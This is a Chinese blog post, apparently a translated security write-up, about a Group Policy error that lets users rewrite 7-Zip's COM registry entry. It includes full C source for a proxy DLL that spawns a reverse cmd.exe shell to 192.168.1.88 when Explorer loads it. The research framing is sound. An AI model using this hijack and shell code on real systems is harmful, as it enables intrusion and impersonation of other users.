Group Policy Security Nightmares pt 1
在 IT 管理领域,组策略是一个强大的工具,用于在基于 Windows 的操作系统中集中管理和控制 Active Directory 网络环境的各个方面。它提供了一种方法来在域或组织单位内的多台计算机和用户账户之间强制执行一致的设置和配置。
在这个(希望能成为)系列文章中,我将描述一些我多年经验中遇到的最不寻常且潜在危险的配置。😉
让我们从这个开始:
配置(或错误配置)注册表的安全策略设置
在一次组策略分析中,我发现了一个应用于注册表键的不常见安全设置。以下是位于 SYSVOL Policies 文件夹 <..>MachineMicrosoftWindows NTSecEdit 下的 GptTmpl.inf 内容:
将 SDDL 描述符转换后得到了以下有趣的结果:
用户被授予了对这个注册表键的完全控制权限!
以下是 GPO 设置的显示方式:
但是 ClassID {23170F69-40C1-278A-1000-000100020000} 与什么有关呢?
在我的计算机上快速搜索发现,这是由 7-Zip 安装创建的 COM 对象的配置:
更具体地说,7-zip.dll 负责管理上下文菜单处理程序等功能:
它使 7-Zip 菜单在右键单击文件或文件夹时显示:
到目前为止一切正常,但从攻击者的角度来看,这是否可以被利用?
想象一下,恶意用户修改 DLL 引用。他们可以将其替换为在登录用户上下文中执行的自定义 DLL,从而可能允许任意代码执行。这在共享或多用户环境(如远程桌面设置)中特别危险,因为攻击者可以获得控制权并冒充连接到同一台机器的其他用户!
那么,这个自定义 DLL 应该是什么样的呢?最简单的方法是创建一个专用 DLL,在DllMain() 函数中运行我们的恶意代码,比如启动反向 shell。但是,这种方法不够隐蔽,因为上下文菜单将停止显示。
更好的解决方案是实现代理 DLL,这是一种通过将调用转发到原始 DLL 的 DLL 包装器来实现代理的众所周知的技术。一旦我们的恶意 DLL 被加载,我们就可以执行我们的代码,然后将后续调用重定向到原始 DLL。
让我们看看 7-zip DLL:
它只导出四个函数,所以我们可以在 C 代码中使用这些特殊指令手动实现:
#pragma comment(linker,"/export:DllCanUnloadNow="C:\Program Files\7-Zip\7-zip.DllCanUnloadNow",@1")
#pragma comment(linker,"/export:DllGetClassObject="C:\Program Files\7-Zip\7-zip.DllGetClassObject",@2")
#pragma comment(linker,"/export:DllRegisterServer="C:\Program Files\7-Zip\7-zip.DllRegisterServer",@3")
我们不直接指向 DLL 内部的代码,而是将引用转发到原始 DLL 中的函数名称和序号。
以下是完整的 C 源代码。在这个例子中,我们调用我们的Reverse() 函数,它会返回一个命令 shell
#include "pch.h"
#include "stdio.h"
#include <windows.h>
#include <tchar.h>
#include <stdlib.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#pragma comment(lib, "ws2_32.lib")
#include <winsock2.h>
#pragma comment(linker,"/export:DllCanUnloadNow="C:\Program Files\7-Zip\7-zip.DllCanUnloadNow",@1")
#pragma comment(linker,"/export:DllGetClassObject="C:\Program Files\7-Zip\7-zip.DllGetClassObject",@2")
#pragma comment(linker,"/export:DllRegisterServer="C:\Program Files\7-Zip\7-zip.DllRegisterServer",@3")
#pragma comment(linker,"/export:DllUnregisterServer="C:\Program Files\7-Zip\7-zip.DllUnregisterServer",@4")
extern "C" __declspec (dllexport) void __cdecl Reverse()
{
WSADATA wsaData;
SOCKET s1;
structsockaddr_inhax;
STARTUPINFOsui;
PROCESS_INFORMATIONpi;
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL,
(unsignedint)NULL, (unsignedint)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(12345);
hax.sin_addr.s_addr = inet_addr("192.168.1.88");
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
TCHARcommandLine[256] = L"cmd.exe";
CreateProcess(NULL, commandLine, NULL, NULL, TRUE,
0, NULL, NULL, &sui, &pi);
}
BOOLAPIENTRYDllMain(HMODULEhModule,
DWORDul_reason_for_call,
LPVOIDlpReserved
)
{
HANDLE threadHandle;
switch (ul_reason_for_call)
{
caseDLL_PROCESS_ATTACH:
Reverse();
break;
caseDLL_THREAD_ATTACH:
break;
caseDLL_THREAD_DETACH:
break;
caseDLL_PROCESS_DETACH:
break;
}
returnTRUE;
}
现在,由于组策略的配置,我们只需要在用户具有写入权限的注册表中替换 DLL 引用:
如果一切正常,当用户首次打开 Windows 资源管理器时,我们就会在指定的 IP 地址上收到一个命令行 shell。演示视频证实了这一行为。
这里就产生了一个问题:为什么管理员要做出这样的策略更改?我不太确定,但据我理解,这是一个错误配置,管理员可能只是想要禁用 7-Zip 的右键菜单。🤷♂️
幸运的是,HKEY_LOCAL_MACHINESOFTWAREClassesCLSID 下的大多数子项都受到TrustedInstaller 的保护,因此即使组策略配置错误也无法更改它们的权限。
最后的经验教训是:在配置组策略对象(GPO)时,一定要花时间充分理解其潜在影响。要考虑策略将在何处应用、可能产生哪些意外后果,以及是否可能被恶意攻击者利用或滥用。这有助于防止安全漏洞,并确保配置不会无意中开启新的攻击途径。
就是这些 😉
原文始发于微信公众号(securitainment):组策略安全噩梦 第一部分
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论